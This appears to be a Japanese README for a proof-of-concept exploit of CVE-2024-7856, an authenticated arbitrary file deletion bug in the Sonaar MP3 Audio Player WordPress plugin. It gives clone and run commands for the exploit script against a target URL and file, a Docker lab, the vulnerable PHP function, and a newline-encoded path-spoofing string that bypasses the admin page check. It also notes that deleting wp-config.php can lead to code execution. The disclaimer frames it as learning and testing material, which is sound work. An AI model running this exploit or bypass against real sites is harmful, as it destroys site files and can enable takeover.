
CVE-2024-7856 の概念実証
★ CVE-2024-7856 任意ファイル削除 PoC ★
CVE-2024-7856 : MP3 Audio Player – Music Player, Podcast Player & Radio by Sonaar <= 5.7.0.1 – 認証済み(購読者以上)ユーザーによる欠落した認可に起因する任意ファイル削除
研究者: Arkadiusz Hydzik
説明: WordPress用プラグイン「MP3 Audio Player – Music Player, Podcast Player & Radio by Sonaar」は、バージョン5.7.0.1以前において、removeTempFiles()関数に機能チェックが欠落しており、'file'パラメータのパス検証が不十分であるため、認証された攻撃者(購読者レベル以上)が任意のファイルを削除できる脆弱性が存在します。これにより、wp-config.phpが削除された場合、リモートコード実行が可能になる可能性があります。
git clone https://github.com/l8BL/CVE-2024-7856.git
cd CVE-2024-7856
pip install -r requirements.txt
# 任意ファイル削除
python3 CVE-2024-7856.py -u <URL_TO_EXPLOIT> -f <FILE_TO_DELETE>
python3 CVE-2024-7856.py -u <URL_TO_EXPLOIT> -f <FILE_TO_DELETE> -i <USER_ID_TO_LOGIN> -p <USER_PW_TO_LOGIN>
python3 CVE-2024-7856.py -u http://example.com/ -f /tmp/test
python3 CVE-2024-7856.py -u http://example.com/ -f /tmp/test -i EQSTtester -p q1w2e3r4t5y!
CVE-2024-7856.py


services:
db:
image: mysql:8.0.27
command: '--default-authentication-plugin=mysql_native_password'
restart: always
environment:
- MYSQL_ROOT_PASSWORD=somewordpress
- MYSQL_DATABASE=wordpress
- MYSQL_USER=wordpress
- MYSQL_PASSWORD=wordpress
expose:
- 3306
- 33060
wordpress:
image: wordpress:6.3.2
ports:
- 80:80
restart: always
environment:
- WORDPRESS_DB_HOST=db
- WORDPRESS_DB_USER=wordpress
- WORDPRESS_DB_PASSWORD=wordpress
- WORDPRESS_DB_NAME=wordpress
volumes:
db_data:
https://downloads.wordpress.org/plugin/mp3-music-player-by-sonaar.5.7.zip
docker cp mp3-music-player-by-sonaar docker-wordpress-1:/var/www/html/wp-content/plugins
public function removeTempFiles(){
// will unlink the temporary peak file and generate another one automatically.
check_ajax_referer('sonaar_music_admin_ajax_nonce', 'nonce');
$is_temp = filter_input(INPUT_POST, 'is_temp', FILTER_VALIDATE_BOOLEAN);
$file = filter_input(INPUT_POST, 'file', FILTER_SANITIZE_STRING);
if ($is_temp && $file) {
$upload_dir = wp_get_upload_dir();
$peaks_dir = $this->get_peak_dir();
$file_path_temp = str_replace($upload_dir['baseurl'] . $this->get_peak_dir(true), $peaks_dir, $file);
if (strpos($file_path_temp, $peaks_dir) === 0 && file_exists($file_path_temp)) {
wp_delete_file($file_path_temp);
}
}
}
if (strpos($hook, SR_PLAYLIST_CPT . '_page_srmp3_settings_') === 0) {
wp_enqueue_script( 'cmb2_image_select_metafield-js', plugin_dir_url( __FILE__ ) . 'library/cmb2-image-select-field-type/image_select_metafield.js' , '', '1.0.0', true ); // Used for plugin settings page only. it does not work on group repeater fields
wp_enqueue_script( 'sonaar-music', plugin_dir_url( __DIR__ ) . 'public/js/sonaar-music-public.js', array( 'jquery' ), $this->version, true ); // used for peak generation
wp_localize_script('sonaar-admin', 'sonaar_music', array(
'plugin_version_free'=> SRMP3_VERSION,
'plugin_version_pro'=> ( defined( 'SRMP3PRO_VERSION' ) ? SRMP3PRO_VERSION : 'Not Installed' ),
'ajax' => array(
'ajax_url' => admin_url( 'admin-ajax.php' ),
'ajax_nonce' => wp_create_nonce( 'sonaar_music_admin_ajax_nonce' ),
'ajax_nonce_peaks' => wp_create_nonce( 'sonaar_music_ajax_peaks_nonce' ),
),
));
}
パスのスプーフィング : /wp-admin/index.php/%0a/wp-admin/sr_playlist_page_srmp3_settings_
認証されたユーザーは、任意ファイル削除を悪用できます。
このリポジトリは、CVE-2024-7856の任意ファイル削除エクスプロイトを意図したものではありません。このプロジェクトの目的は、この脆弱性について学び、各自のアプリケーションをテストする手助けをすることです。